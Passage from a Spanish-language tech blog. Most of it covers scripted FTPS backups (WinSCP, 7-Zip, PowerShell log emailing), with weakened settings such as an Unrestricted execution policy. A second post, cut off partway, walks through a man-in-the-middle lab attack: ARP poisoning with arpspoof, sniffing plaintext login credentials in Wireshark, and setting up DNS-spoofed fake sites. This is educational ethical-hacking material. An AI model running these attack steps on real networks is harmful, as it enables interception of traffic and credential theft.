servicio me ofrece un espacio FTP con un certificado SSL/TLS, por lo que puedo usar el canal de control y el de data para transferir información de forma segura mediante FTPS \u0026ldquo;FTP over SSL\u0026rdquo; (no confundir con SFTP \u0026ldquo;SSH-FTP\u0026rdquo;). Al realizar una sincronización con WinSCP de forma incremental cada vez que se actualizan los datos de local al servidor, los tiempos de copia son rápidos. Otra opción en este tercer paso sería crear un fichero comprimido protegido con contraseña, generar ambos logs tanto de la compresión como de la subida al servidor FTP. El comprimir la información y cifrarla nos da una seguridad extra pero también el proceso de backup será más costoso en tiempo. Cuarto paso sería automatizar esta tarea. Generar un script que pudiese realizar por ejemplo, una copia semanalmente de toda esta carpeta y la transfiera de forma síncrona a este espacio de almacenamiento vía FTPS. En Windows existe la característica de habilitar el cliente FTP por línea de comandos, pero no podemos usar certificados sobre este cliente. Por lo que opté por usar la herramienta WinSCP, esta incorpora una utilidad en línea de comandos (winscp.com) la cual podemos generar un script en batch en integrarla perfectamente. Quinto paso hacer una llamada a un script de PowerShell .ps1 el cual envía el log a un correo electrónico al finalizar todo el proceso de backup con la finalidad de tener un registro de copias. Script para el proceso de Backup y transferencia de información al servidor FTP Link to heading Si no somos usuarios administradores en el equipo local por seguridad, si no que usamos un usuario raso para el uso habitual de nuestro equipo, lo que sería más adecuado, para no tener problemas con los privilegios en el momento de ejecutar el script y las acciones que este realice, en este caso trabajaré sobre el directorio por defecto de instalación de WinSCP C:\\Program Files (x86)\\WinSCP. Estableceremos los permisos de modificar o control total para el usuario local sobre el directorio. Figura 1: Establecer permisos sobre el directorio donde se ejecutará el script batch. Generamos un fichero por lotes .bat con el siguiente código: @echo off set ano=%date:~6,4% set mes=%date:~3,2% set dia=%date:~0,2% set backup=backup_%dia%-%mes%-%ano%.log if exist \u0026#34;backup*.log\u0026#34; ( del /F /Q \u0026#34;backup*.log\u0026#34; ) winscp.com /log=\u0026#34;%backup%\u0026#34; /loglevel=2 /command \u0026#34;open ftp:// USER : PASSWROD @ IP_O_DNS_SERVER -explicit\u0026#34; \u0026#34;synchronize remote -delete -mirror -transfer=binary { PATH_LOCAL_ORIGEN } { PATH_REMOTO_DESTINO }\u0026#34; \u0026#34;close\u0026#34; \u0026#34;exit\u0026#34; Figura 2: Script batch usando winscp.com para conexiones FTPS con sincronización de local a remoto. Se establecen las variables con las que se obtendrán la fecha/hora actuales y otra (%backup%) para almacenar el nombre que tendrá el fichero con la estructura backup_DD-MM-AAAA.log. Con un condicional se comprueba que el fichero \u0026ldquo;backup.log\u0026rdquo; exista*. Si ya existiese de una copia pasada lo eliminaría. Esta comprobación sería opcional para aquellos que quieran incluir un fichero de log. En caso de incluirlo aconsejo esta comprobación inicial, este fichero al paso del tiempo suele alcanzar un tamaño considerable, en más de una ocasión antes de haber incluido esta condición en el script llegó a ocupar tamaños superiores a 500MB, y un volumen importante de registros por lo que se hacía finalmente ilegible. Iniciamos la utilidad winscp.com con el argumento /log para obtener un registro de la actividad realizada indicándole la variable \u0026ldquo;%backup%\u0026rdquo; correspondiente al nombre establecido que en ese momento se le asigne al fichero con fecha/hora actuales. Podemos indicar el nivel de depuración del log con el parámetro /loglevel esto nos dará más detalles de log. La ventaja de utilizar el parámetro /log con winscp.com es que la password utilizada para la autenticación de conexión con el servidor FTP no se muestra en texto plano en el fichero de log, sino que aparece con tres asteriscos \u0026ldquo;***\u0026rdquo; sea cual sea la longitud de la contraseña. A diferencia de si se utilizara winscp.exe donde le pasaríamos el script en un fichero de texto aparte pero le indicaríamos igualmente el parámetro /log (ver la figura 3 de este artículo), en este caso la contraseña en el fichero de log sí se mostraría en texto plano siendo claramente visible. Por ejemplo: winscp.exe /console /script=\u0026#34;script_backup.txt\u0026#34; /log=\u0026#34;myscript.log\u0026#34;. A continuación indicaremos los parámetros realmente importantes, al usar winscp.com en un script batch tendremos que indicarle el modificador /command para que sepa que los próximos modificadores serán realizados en una sola instrucción. Podríamos crear un fichero aparte con los mismos modificadores del comando necesarios, en mi caso solamente realizo una única transferencia por lo que he optado por unificarlo en un mismo fichero de procesamiento por lotes .bat. Abrimos la conexión al servidor FTP (open) y la invocamos de forma explícita (-explicit). De esta forma el cliente solicita de forma explícita la seguridad acordada para empezar la comunicación con el servidor FTP de modo que tanto el canal de control como el de data sean cifrados. synchronize remote: Los cambios del directorio local se actualizan con los remotos. -delete: Elimina archivos obsoletos. -mirror: Modo espejo (sincroniza también archivos antiguos). -transfer=binary: Modo de transferencia binario, necesario por ejemplo para transferir ficheros de tipo imagen, vídeo, pdf, etc. J:\\ADRIAN: Directorio local (en este caso). /Backup: Directorio remoto (en este caso). Finalmente cerramos la conexión (close) y salimos de la sesión (exit). Diferencias entre FTPS Explícito (FTPES) y FTPS Implícito Link to heading AUTH TLS o FTPS Explícito (FTPES): Definido en el RFC 2228, el cliente se conecta al puerto habitual FTP (21) y comienza una sesión FTP sin cifrar. Explícitamente cambia a un modo seguro utilizando TSL o SSL para transferir la información. FTPS Implícito: El cliente asume el modo seguro con TSL o SSL, desde el inicio de la conexión, se realiza la negociación SSL antes de que se realice la transferencia de información. Habitualmente se utiliza el puerto 990 en vez del habitual puerto 21. Más info. Más información sobre WinSCP en command line: https://winscp.net/eng/docs/ftps https://winscp.net/eng/docs/scriptcommand_open https://winscp.net/eng/docs/scriptcommand_synchronize Con esto conseguiremos que cada vez que se ejecute el script este solo hará un repaso a todos los ficheros tanto locales como remotos haciendo un espejo y adaptando solamente los cambios, con lo que conseguiremos una reducción de tiempo en futuras transferencias. Otra opción del script para el proceso de backup Link to heading La otra opción que comentaba anteriormente para este paso y que nos dará un extra de seguridad pero más tiempo de espera en el proceso del backup, sería generar un fichero comprimido .zip con la herramienta de comandos que incorpora 7-zip. Incluir en una variable de entorno de Windows el path %programfiles%\\7-zip para que desde cualquier ubicación se reconozca el binario ejecutable de comandos 7z.exe y así no tener problemas en la ejecución del script. Comprimir el directorio en un archivo protegido por contraseña en formato .zip. Indicar un destino temporal para el fichero comprimido creado y generar un log de este proceso. Realizar la subida al servidor FTP del fichero comprimido, generar otro log de este proceso. Incluir los dos logs anteriores en un único fichero de log (el cual será el que se envíe por correo). Eliminar los dos logs anteriores \u0026ldquo;sobrantes\u0026rdquo; y el fichero comprimido temporal de la copia. @echo off :: Fecha y Hora set ano=%date:~6,4% set mes=%date:~3,2% set dia=%date:~0,2% set hora=%time:~0,8% set backuplog=backup_%dia%-%mes%-%ano%.log set backupzip=Backup_%dia%-%mes%-%ano%.zip :: Credenciales y Paths set passwd7z=passwd7z set pathTempFichero7z=\u0026#34;pathTempFichero7z%backupzip%\u0026#34; set pathLocalDatos=\u0026#34;pathLocalDatos\u0026#34; set pathRemotoFTP=pathRemotoFTP set usuarioFTP=usuarioFTP set passwdFTP=passwdFTP set servidorFTP=servidorFTP set conexionFTP=ftp://%usuarioFTP%:%passwdFTP%@%servidorFTP% set fingerprintSSLFTP=\u0026#34;xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx\u0026#34; :: Comprobar si existen ficheros de log pasados del backup. if exist \u0026#34;*backup*.log\u0026#34; ( del /F /Q \u0026#34;*backup*.log\u0026#34; ) :: Mostrar fecha y hora del comienzo del proceso de backup al principio del log. echo El backup comienza: %dia%-%mes%-%ano% - %hora% \u0026gt; %backuplog% echo. \u0026gt;\u0026gt; %backuplog% echo # # # # # # # # # # # # # # # # # # # # \u0026gt;\u0026gt; %backuplog% :: Comprimir datos, generar log zip, agregarlo al backup log final y mostrar una línea de separación. :: En caso de excluir directorios y ficheros añadir a la línea de 7z el parámetro -xr!\u0026#34;\u0026lt;directorio_fichero\u0026gt;\u0026#34; tantas veces como elementos a excluir de la compresión. 7z a -tzip -p%passwd7z% -r %pathTempFichero7z% %pathLocalDatos% \u0026gt; zip%backuplog% type zip%backuplog% \u0026gt;\u0026gt; %backuplog% echo. \u0026gt;\u0026gt; %backuplog% echo # # # # # # # # # # # # # # # # # # # # \u0026gt;\u0026gt; %backuplog% :: Subir el fichero comprimido al servidor FTP, generar log FTP, añadirlo al log de backup y mostrar una línea de separación. winscp.com /log=\u0026#34;ftp%backuplog%\u0026#34; /loglevel=2 /command \u0026#34;open %conexionFTP% -explicit -certificate=%fingerprintSSLFTP%\u0026#34; \u0026#34;cd %pathRemotoFTP%\u0026#34; \u0026#34;rm Backup*.zip\u0026#34; \u0026#34;put %pathTempFichero7z%\u0026#34; \u0026#34;close\u0026#34; \u0026#34;exit\u0026#34; type ftp%backuplog% \u0026gt;\u0026gt; %backuplog% echo. \u0026gt;\u0026gt; %backuplog% echo # # # # # # # # # # # # # # # # # # # # \u0026gt;\u0026gt; %backuplog% :: Eliminar ficheros temporales: logs y fichero temporal backup zip. del /F /Q \u0026#34;zip*.log\u0026#34; del /F /Q \u0026#34;ftp*.log\u0026#34; del /F /Q %pathTempFichero7z% :: Comprobar la eliminación de ficheros de log y fichero temporal backup zip, insertar el resultado en el log. :: Log de la compresión zip. if exist \u0026#34;zip*.log\u0026#34; ( echo -- zip%backuplog% no se eliminó correctamente \u0026gt;\u0026gt; %backuplog% ) else ( echo -- zip%backuplog% se eliminó correctamente \u0026gt;\u0026gt; %backuplog% ) :: Log del envío de datos al servidor FTP. if exist \u0026#34;ftp*.log\u0026#34; ( echo -- ftp%backuplog% no se eliminó correctamente \u0026gt;\u0026gt; %backuplog% ) else ( echo -- ftp%backuplog% se eliminó correctamente \u0026gt;\u0026gt; %backuplog% ) :: Fichero temporal backup zip if exist \u0026#34;D:\\Backup*.zip\u0026#34; ( echo -- %backupzip% no se eliminó correctamente \u0026gt;\u0026gt; %backuplog% ) else ( echo -- %backupzip% se eliminó correctamente \u0026gt;\u0026gt; %backuplog% ) echo. \u0026gt;\u0026gt; %backuplog% echo # # # # # # # # # # # # # # # # # # # # \u0026gt;\u0026gt; %backuplog% :: Mostrar fecha y hora de la finalización del proceso de backup al final del log. :: Se resetea la variable hora para obtener la hora actual hasta este momento del proceso de backup. set hora=%time:~0,8% echo El backup finaliza: %dia%-%mes%-%ano% - %hora% \u0026gt;\u0026gt; %backuplog% :: Llamada al script Powershell para el envío del log vía Email. powershell.exe -file \u0026#34;envio_log_email.ps1\u0026#34; Los parámetros de compresión usando 7z.exe dependerá de las opciones que cada uno quiera establecer, en mi caso. a: añade información (comprime) -t: indica el tipo de formato (zip en este caso) -r: Recursividad en subdirectorios. -p: Password para cifrar el fichero comprimido Un ejemplo sería. Figura 3: Otra opción para el proceso de backup. Comprimir la información, cifrarla, enviarla al FTP y borrar los ficheros temporales. Realizará una comprobación de si existe ya algún fichero log pasado, si existe los eliminará y generará también dos log (temporales), uno para el proceso de compresión de la información y otro log para el proceso de transferencia de información al servidor FTP. Finalmente generará un único fichero con los dos logs anteriores juntos que será el que se envíe por correo a través de la llamada al script de PowerShell el cual hará el proceso de envío (este punto está detallado en el último apartado de este artículo). Inicialmente, justo antes de la compresión, añado la fecha y hora actual en el principio del fichero de log principal para saber cuando se inició la copia, ya que el log de compresión con 7z.exe no muestra valores de tiempo en su proceso. Es el momento en el que se crea el fichero de log principal y final, que se enviará por correo. Después eliminará los logs temporales creados y el fichero comprimido temporal cuando ya haya sido subido al servidor FTP. Opcionalmente se hacen unas comprobaciones para saber si se eliminaron tanto los logs temporales como el fichero comprimido temporal y adjuntar este resultado al log de backup principal con formato de fecha actual. Finalmente se envía este fichero de log final a un correo electrónico (script PowerShell detallado al final de este artículo). Comentar que para este estilo de copia (compresión de la información y subida al servidor sin usar sincronización con WinSCP) el tiempo total del backup desde la compresión del archivo a la subida al servidor FTP, es de unas 2 horas y 25 minutos aprox. (quizás algo menos dependiendo el tipo de conexión que tengamos y los límites al servidor FTP si es que los hay) para un tamaño total de copia de unos 45GB. Aquí dejo el repositorio en Github: https://github.com/adrianlois/Backups-FTPES-WinSCP-7Zip-Batchfile Crear una tarea programada para el proceso de backup Link to heading Una vez que tenemos generado el script, tendremos que ejecutarlo manualmente y eso no sería práctico, llegados a este punto lo mejor será automatizar este script para que por ejemplo se ejecute un día y hora en concreto de la semana. Para no recurrir a herramientas de terceros usaremos el \u0026ldquo;Programador de tareas\u0026rdquo; de Windows (taskschd.msc). Creamos una nueva tarea. Como desencadenador será según una programación, semanalmente los Domingos a las 22:00. En mi caso lo tengo así programado ya que sé que ese día de la semana y a esa hora suelo tener equipo encendido. Figura 4: Estableciendo el desencadenador de la tarea programada. Las acción será iniciar un programa o script, indicamos el path de la ruta donde se encuentra el script. En mi caso no quería crear una variable de entorno de Windows por lo que tengo que indicarle al sistema donde se encuentra la utilidad winscp.com, por lo que le indico donde se debería iniciar el path en \u0026ldquo;Iniciar en\u0026rdquo;. Figura 5: Estableciendo la acción para ejecutar el script. La configuración de la tarea programada la establecí del siguiente modo. Si la tarea no se ejecuta, reiniciarla cada 1 minuto durante un número de intentos de 5 veces y si sobrepasa las 12 horas de ejecución detener la tarea. Figura 6: Configuración de la tarea programada. Finalmente en la pestaña general designamos un nombre a la tarea programada. Una vez llegados a este punto tendremos dos opciones: Ejecutar solo cuando usuario haya iniciado sesión: En este caso veremos la ventana de la consola de Windows ejecutando todo el proceso. Ejecutar tanto si el usuario inició sesión como si no: En este caso la tarea se ejecutará de forma subyacente al usuario. Aconsejo esta opción ya que nos garantiza la ejecución de la tarea tan solo con tener encendido el equipo. Por lo que pude comprobar al intentar ejecutar esta tarea de forma manual a través del programador de tareas puede que falle. Sin embargo, al ejecutarse automáticamente según la programación establecida se ejecutará sin problemas. Si escogemos la primera opción no tendremos problemas. Pero si escogemos la segunda opción ya que puede darse el caso de que no estemos con la sesión iniciada en el equipo pero el equipo esté encendido (y con el BitLocker desbloqueado en este caso). Al intentar establecer la tarea nos dirá que \u0026ldquo;la cuenta de usuario especificada tenga derechos para iniciar sesión como trabajo por lotes\u0026rdquo;. Esto ocurre porque en mi caso el usuario que habitualmente uso en el sistema por seguridad no está dentro del grupo Administradores, sino dentro del grupo Usuarios y por lo tanto no tiene los suficientes permisos como para llevar a cabo esta acción. Figura 7: Ejecutar tarea programada tanto si el usuario inicia sesión como si no. Para ello solamente tendremos que agregar la cuenta de usuario en el editor de directivas seguridad local (a través de la consola de Microsoft gpedit.msc o directamente secpol.msc) buscamos \u0026ldquo;Iniciar sesión como proceso por lotes\u0026rdquo; y agregamos el usuario. Figura 8: secpol.msc - Iniciar sesión como proceso por lotes para una tarea programada. De este modo ya podremos autenticar con las credenciales del usuario local, independientemente de si se marca el checkbox de \u0026ldquo;No almacenar contraseña\u0026rdquo; como si no. Más información: https://technet.microsoft.com/en-us/library/cc722152(v=ws.11).aspx Figura 9: Autenticación de credenciales del usuario local para tarea programada. Para poder hacer un seguimiento de la ejecución de la tarea programada habilitamos el historial. Esta opción afectará a todas las tareas programadas que tengamos en la biblioteca. Figura 10: Habilitar el historial de las tareas programadas. Una vez se ejecute y concluya la tarea, en la pestaña de historial veremos la auditoría de información de tiempos. Para hacerse una idea, en mi caso, según mi conexión de DSL y el ancho de banda contratado con el Hosting que me proporciona el server FTP. En menos de 45 minutos se hicieron transferencias de un total aproximado de 50GB (aunque esto dependerá del tipo de conexión que tengamos así como si hay algún límite de subida con el servidor FTP). Figura 11: Historial de la tarea programada. Si consultamos el fichero .log que creamos para el registro de actividad de conexiones y transferencias hacia el servidor FTPS. Vemos como la conexión se realiza de forma explícita solicitando el certificado al servidor FTP y finalmente se establece la conexión TLS. Figura 12: Fichero de log de las transferencias realizadas al servidor FTPS. Enviar el log por correo electrónico con un Script automatizado en PowerShell Link to heading Mencionar la posibilidad de poder auto-enviarse este log generado anteriormente a través de un correo electrónico y así tener un registro más clasificado por fechas. Se me ocurrió crear un fichero .ps1 (PowerShell) que será el script que enviará el mensaje de correo electrónico con el fichero log como adjunto. E incluir una llamada al fichero .ps1 al final del script batch que hace la copia de seguridad con WinSCP. De ese modo se garantiza que el fichero log esté finalizado. Con este método no se tendrá que modificar la tarea programada. Habilitar la ejecución de scripts para Powershell Link to heading Para poder ejecutar scripts en PowerShell sin problemas, se tendrá que cambiar la política de ejecución (ExecutionPolicy). En un principio no están definidas y por seguridad vienen deshabilitados todos los tipos de ejecuciones para los scopes. Existen varios modos de políticas de ejecución para definir en PowerShell: Link to heading Restricted: Bloquea todos los scripts en PowerShell y hace que todas las tareas deban ejecutarse de forma interactiva, nada automático. Es la política por defecto. Unrestricted: Puede ejecutar cualquier script, sin restricciones. Si se ejecuta un script sin firmar muestra una advertencia al usuario. RemoteSigned: Puede ejecutar scripts que han sido creados en la máquina local sin ser firmados. Pero los paquetes descargados deben estar firmados antes de poder instalarlos. Conlleva el riesgo de que no es necesario que los scripts locales vayan firmados digitalmente. Para ejecutar scripts descargados de internet (sin firmar) es necesario usar la opción Unblock-File. Es la política por defecto para Windows Server. AllSigned: Solo puede ejecutar paquetes y scripts firmados digitalmente por un publicador de confianza, incluidos los scripts escritos en el equipo local. Bypass: Similar a *Unrestricted,*con la diferencia de que no alerta de riesgos al usuario. Suele utilizarse en integraciones de PowerShell con otras aplicaciones, en las que funciona en una capa inferior, dado que dichas aplicaciones cuentan con un modelo de seguridad propio. Undefined: No se establece explícitamente ninguna de las directivas anteriores. Por defecto sería Restricted. Default: Establece la política de ejecución predeterminada. Restrictedpara clientes de Windows y RemoteSignedpara Windows Server. Para esta situación puede servir tanto el modo de ejecución RemoteSigned como Unrestricted. Listamos el tipo de políticas de ejecución y establecemos el tipo de política para el scope LocalMachine como Unrestricted. Aunque también sería válido para este caso RemoteSigned. Aclarar que esto no es una forma segura. Get-ExecutionPolicy -List Set-ExecutionPolicy Unrestricted -scope LocalMachine -Force Figura 13: Estableciendo el modo de política de ejecución (ExecutionPolicy) para PowerShell. Lo óptimo sería ejecutar desde el fichero bat la llamada al fichero ps1, habilitando únicamente en ese contexto el Bypass para la ejecución de scripts en Powershell. PowerShell.exe -ExecutionPolicy Bypass -File .script.ps1 Una vez se puedan ejecutar scripts en PowerShell se crea un documento de texto en el mismo directorio y se renombra con una extensión .ps1 (extensión usada por PowerShell) por ejemplo envio_log_email.ps1. Se inserta el siguiente código. # Variables $fechaHoraActual = Get-Date -uformat \u0026#34;%d/%m/%Y - %H:%M:%S\u0026#34; $usuarioEmail = \u0026#34; usuarioEmail \u0026#34; $passwdEmail = \u0026#34; passwdEmail \u0026#34; $asuntoEmail = \u0026#34; asuntoEmail \u0026#34; $cuerpoEmail = \u0026#34; cuerpoEmail \u0026#34; # Convertir password a un string seguro. $secPasswdEmail = ConvertTo-SecureString $passwdEmail -AsPlainText -Force $credencialesEmail = New-Object System.Management.Automation.PSCredential ($usuarioEmail, $secPasswdEmail) # Envío del fichero log adjunto vía Email usando Gmail. Send-MailMessage -From $usuarioEmail -To $usuarioEmail -Subject \u0026#34;$asuntoEmail - $fechaHoraActual\u0026#34; -Body \u0026#34;$cuerpoEmail - $fechaHoraActual\u0026#34; -Attachments \u0026#34;backup*.log\u0026#34; -SmtpServer smtp.gmail.com -UseSsl -Credential $credencialesEmail exit Un ejemplo de este script en Powershell ps1: Figura 14: Script ps1 Powershell - Envío del fichero de log a una cuenta de correo Gmail. Este script en Powershell auto-enviará un mensaje de correo a una misma cuenta de correo electrónico u otra si lo establecemos. La variable $fechaHoraActual almacena la función Get-Date usando el parámetro \u0026ldquo;-uformat\u0026rdquo; seguido de la estructura fecha y hora \u0026ldquo;DD/MM/AAAA - HH:MM:SS\u0026rdquo; esto se añadirá en el asunto y cuerpo del mensaje, después del nombre del fichero de log, reflejará el momento actual en el que ha sido enviado este adjunto. Se almacena también la contraseña en la variable $passwd en una función ConvertTo-SecureString que se pasará en una cadena de texto segura. La ventaja de incluir la hora es que se puede calcular el tiempo transcurrido en el proceso de backup desde el momento en el que se ejecutó la tarea programada hasta el momento en el que se recibe el mensaje de correo electrónico. Esta información también se podría ver en el historial del programador de tareas como se puede observar en la figura 11 de este artículo. usuarioEmail: Se cambiará por el nombre de usuario de la dirección de correo electrónico correspondiente. passwdEmail: Password del usuario (dirección del correo electrónico) necesaria para autenticarnos en el servidor de correo. asuntoEmail: Texto del asunto del Email (-Subject). cuerpoEmail: Texto del cuerpo del Email (-Body). backup.log*: Nombre que corresponde al fichero de log adjunto a enviar en el mensaje. En mi caso usaré Gmail como servidor SMTP. En un principio no va poder autenticarse aunque se le pasen correctamente las credenciales de usuario. Esto es debido a la protección de seguridad que implementa Gmail para evitar el inicio de sesión de aplicaciones de terceros menos seguras. Para poder autenticarse con PowerShell en una cuenta Gmail tan solo se tendría que activar el acceso a \u0026ldquo;Aplicaciones menos seguras\u0026rdquo;. En el siguiente enlace podemos acceder a esta sección: https://myaccount.google.com/lesssecureapps. En el caso de tener activado un segundo factor de autenticación (2FA) con Google Authenticator, esta característica estaría deshabilitada y no se podría realizar este proceso. Figura 15: Activar el acceso a aplicaciones menos seguras en una cuenta Gmail. En el script batch inicial donde se realiza el backup con WinSCP se añade al final la siguiente línea de código indicándole que se ejecute con powershell, el argumento -file hará la llamada al script .ps1 desde un script .bat. De este modo no se tendrá que modificar la tarea programada. powershell.exe -file \u0026#34;{ PATH_FICHERO.ps1 }\u0026#34; Figura 16: Llamada a un fichero script .ps1 desde un script.bat. Se puede ver el mensaje de correo electrónico que fue auto-enviado a uno mismo con un fichero adjunto backup_DD-MM-AAAA.log donde se muestra la fecha y hora de envío en el cuerpo del mensaje en formato \u0026ldquo;DD/MM/AAAA - HH:MM:SS\u0026rdquo;. Figura 17: Correo enviado con Powershell y recibido en Gmail con fecha y hora del log. El procedimiento de enviarse el log por correo electrónico a través de PowerShell simplemente lo menciono por si es de interés para alguien. Personalmente en mis cuentas de correos Gmail, Hotmail, Yahoo. Tengo habilitado un segundo factor de autenticación, considero que es lo más seguro y que todo el mundo que quiera tener sus cuentas más seguras use, en la medida de lo posible, más de un factor de autenticación. En el caso de tener una cuenta de correo Gmail por ejemplo con autenticaciones 2FA. Aconsejo crear una cuenta de correo exclusivamente para esta finalidad y configurar las opciones de reenvío de mensajes de esa cuenta para que reenvíe a otra cuenta más personal estos correos, en la que si se tenga habilitada la autenticación 2FA. Script Powershell usando WinSCP y 7zip Link to heading Hice también un script muy similar en Powershell. Con dos diferencias (no muy relevantes). No es posible generar el log del proceso de compresión de datos que realiza 7zip. Si queremos establecer password al fichero comprimido, el formato de fichero debe ser .7z. El uso del cmdlet \u0026ldquo;Compress-7Zip\u0026rdquo; no permite establecer password a ficheros de formato .zip. Primero de nada quitamos las restricciones de ejecución de scripts ejecutando como administrador una consola Powershell. Set-ExecutionPolicy Unrestricted -scope LocalMachine -Force Instalamos los módulos 7Zip4Powershell y WinSCP para Powershell. Install-Module -Name 7Zip4Powershell -Verbose -Force Install-Module -Name WinSCP -Verbose -Force Por defecto estos módulos se instalan en %systemdrive%:\\Program Files\\WindowsPowerShell\\Modules. Install-Module: instala definitivamente el módulo para todo el equipo. Import-Module: instala el módulo solo para la sesión actual de usuario de Powershell. Script .ps1 Powershell ################################# ## Inicio Establecer Variables ## # Fecha y hora $FechaActual = Get-Date -uformat \u0026#34;%d-%m-%Y\u0026#34; $FechaHoraActual = Get-Date -uformat \u0026#34;%d/%m/%Y - %H:%M:%S\u0026#34; # Paths $PathLocalDatos = \u0026#34;PathLocalDatos\u0026#34; $PathRemotoFTP = \u0026#34;PathRemotoFTP\u0026#34; $PathTempFichero7z = \u0026#34;PathTemporalFichero7z\u0026#34; $NombreBackupTemp = \u0026#34;Backup_\u0026#34; $TempFichero7z = \u0026#34;$PathtempFichero7z$NombreBackupTemp$FechaActual.7z\u0026#34; # Credenciales $Passwd7z = \u0026#34;PasswdFichero7z\u0026#34; $HostServidorFTP = \u0026#34;ftp.miweb.com\u0026#34; $UsuarioFTP = \u0026#34;UsuarioFTP\u0026#34; $PasswdFTP = \u0026#34;PasswdFTP\u0026#34; $UsuarioEmail = \u0026#34;UsuarioEmail@gmail.com\u0026#34; $PasswdEmail = \u0026#34;PasswdEmail\u0026#34; # Asunto y cuerpo del Email $AsuntoEmail = \u0026#34;AsuntoEmail\u0026#34; $CuerpoEmail = \u0026#34;TextoCuerpoEmail\u0026#34; # Get-Credencial automatizado no interactivo, convertir a string segura $SecPasswdFTP = ConvertTo-SecureString $PasswdFTP -AsPlainText -Force $CredencialesFTP = New-Object System.Management.Automation.PSCredential ($UsuarioFTP, $SecPasswdFTP) $SecPasswdEmail = ConvertTo-SecureString $PasswdEmail -AsPlainText -Force $CredencialesEmail = New-Object System.Management.Automation.PSCredential ($UsuarioEmail, $SecPasswdEMail) # Log $LogBackupFTP = \u0026#34;$PathtempFichero7z$NombreBackupTemp$FechaActual.log\u0026#34; # Comprobaciones Test-Path $TestBackup7z = \u0026#34;$PathTempFichero7z$NombreBackupTemp*.7z\u0026#34; $TestBackupLog = \u0026#34;$PathTempFichero7z$NombreBackupTemp*.log\u0026#34; ## Fin Establecer Variables ## ############################# # Comprobar si ya existe algún fichero de log o backup anteriores if (Test-Path ($TestBackup7z, $TestBackupLog)) { Remove-Item -Path ($TestBackup7z, $TestBackupLog) -Recurse -Force } ## Compresión de datos ## Compress-7Zip -Path $pathLocalDatos -ArchiveFileName $TempFichero7z -Password $Passwd7z -EncryptFilenames ## Enviar backup al servidor FTP ## # Crear nueva sesión FTP New-WinSCPSession -SessionOption (New-WinSCPSessionOption -HostName $HostServidorFTP -Protocol Ftp -Credential $CredencialesFTP) -SessionLogPath $LogBackupFTP -DebugLogLevel 2 # Eliminar el viejo fichero comprimido de datos del servidor FTP Remove-WinSCPItem -Path $PathRemotoFTP/Backup*.7z # Subir el nuevo fichero comprimido de datos al servidor FTP Send-WinSCPItem -LocalPath $TempFichero7z -RemotePath $PathRemotoFTP # Cerrar sesión FTP Remove-WinSCPSession ## Enviar log de backup vía email Gmail ## Send-MailMessage -From $UsuarioEmail -To $UsuarioEmail -Subject \u0026#34;$AsuntoEmail - $FechaHoraActual\u0026#34; -Body \u0026#34;$CuerpoEmail - $FechaHoraActual\u0026#34; -Attachments $LogBackupFTP -SmtpServer smtp.gmail.com -UseSsl -Credential $CredencialesEmail ## Eliminar logs ## # Conservar el fichero de log, eliminar solo el fichero temporal backup 7z Remove-Item -Path $TempFichero7z -Recurse -Force # En el caso de querer eliminar también el log de backup, descomentar la siguiente línea # Remove-Item -Path $logBackupFTP -Recurse -Force # Salir exit Adaptamos el código modificando los valores resaltados en negrita de las variables. Lo guardamos en un fichero con extensión .psi y sustituimos el batch incluido en la tarea programada de Windows por el script Powershell. Figura 18: Script ps1 en Powershell. Backup completo + envío de log vía email. Espero que algo de esto pueda ser de utilidad para quienes quieran realizar sus propios métodos de sus copias de seguridad. Saludos! "},{"title":"Ataques MITM: ARP Poisoning y DNS Spoof con arpspoof (Parte 2/2)","url":"/posts/ataques-mitm-arp-poisoning-dns-spoof-arpspoof-parte-2/","summary":" Ataques MITM: ARP Poisoning y DNS Spoof con Ettercap - Parte 1 de 2 Ataques MITM: ARP Poisoning y DNS Spoof con ARPSpoof - Parte 2 de 2 Esta vez comentaré prácticamente lo mismo pero realizando el …","tags":["Red Team","Hacking Ético","MITM","ARP Spoofing","DNS Spoof","Redes"],"date":"2017-07-11","content":" Ataques MITM: ARP Poisoning y DNS Spoof con Ettercap - Parte 1 de 2 Ataques MITM: ARP Poisoning y DNS Spoof con ARPSpoof - Parte 2 de 2 Esta vez comentaré prácticamente lo mismo pero realizando el ataque desde una terminal de forma manual, sin una GUI. Desde una distribución Kali Linux usando arpspoof y el plugin DNS_Spoof de Ettercap, también desde la terminal. El equipo atacante (KaliLinux) tendrá que \u0026ldquo;hacer de router\u0026rdquo; por lo que se tendrá que habilitar ip_forward para enrutar todo el tráfico que llegue a él. De modo que deje salir a la puerta de enlace original todo el tráfico de la víctima. Si esto no se hiciese la víctima se daría cuenta de que algo extraño sucede ya que se quedaría sin conexión a Internet. Para este ejemplo el equipo atacante tendrá la dirección 192.168.100.20. echo 1 \u0026gt;\u0026gt; /proc/sys/net_ipv4/ip_forward Figura 1: Habilitar ip_forward para el enrutamiento de tráfico. Usando Nmap lanzamos un escaneo de reconocimiento a toda la red local disponible en este caso una clase C CIDR /24. Para este ejemplo la víctima será la 192.168.100.10. nmap -sP [DIRECCIÓN_RED/CIDR] Figura 2: Escaneando toda la red local con Nmap. Envenenamos la tabla ARP del equipo atacado y le hacemos creer que la dirección MAC verdadera del equipo atacante (192.168.100.20) es la misma que la de su puerta de enlace (router: 192.168.100.1). Inicio del ataque, especificamos la interfaz de salida con -i y con -t el target (víctima) seguido del equipo (router) en el que suplantaremos la dirección MAC para la víctima. En la captura podemos ver como las direcciones MAC de la tabla ARP del equipo víctima (Windows) cambiaron después del ataque. La MAC del router es la misma que la del atacante. Dejaremos esta terminal minimizada y siempre funcionando. arpspoof -i [INTERFAZ_RED] -t [IP_VÍCTIMA] [IP_ROUTER] Figura 3: arpspoof - Antes y después del ataque. Empezamos a capturar tráfico en Wireshark desde el equipo atacante. Como ejemplo ingresaré en una web con mi nombre de usuario y contraseña. Este sitio no utiliza HTTPS, por lo que toda la información que veamos o ingresemos en un formulario no irá cifrada y será visible en texto claro. Figura 4: Ingresando credenciales en un formulario de un sitio que no utiliza HTTPS. Una vez interceptado el tráfico HTTP en Wireshark, podemos ver la solicitud POST de login. Examinando este paquete vemos el nombre de usuario y la contraseña en texto introducidos por la víctima. Figura 5: Captura de credenciales introducidas por la víctima en el sitio web. Iremos un paso más allá incorporando el plugin dns_spoof de Ettercap. Como se trata de redirigir las peticiones a direcciones DNS que solicite la víctima, crearemos una website (que puede ser una réplica visualmente de un sitio web conocido: facebook.com, gmail.com, etc.). Para ello crearemos un servidor HTTP con Apache. Creamos un documento HTML, en este ejemplo no replicaré ningún sitio ya que llevaría más trabajo y como prueba de concepto me basaré en la representación y entendimiento de 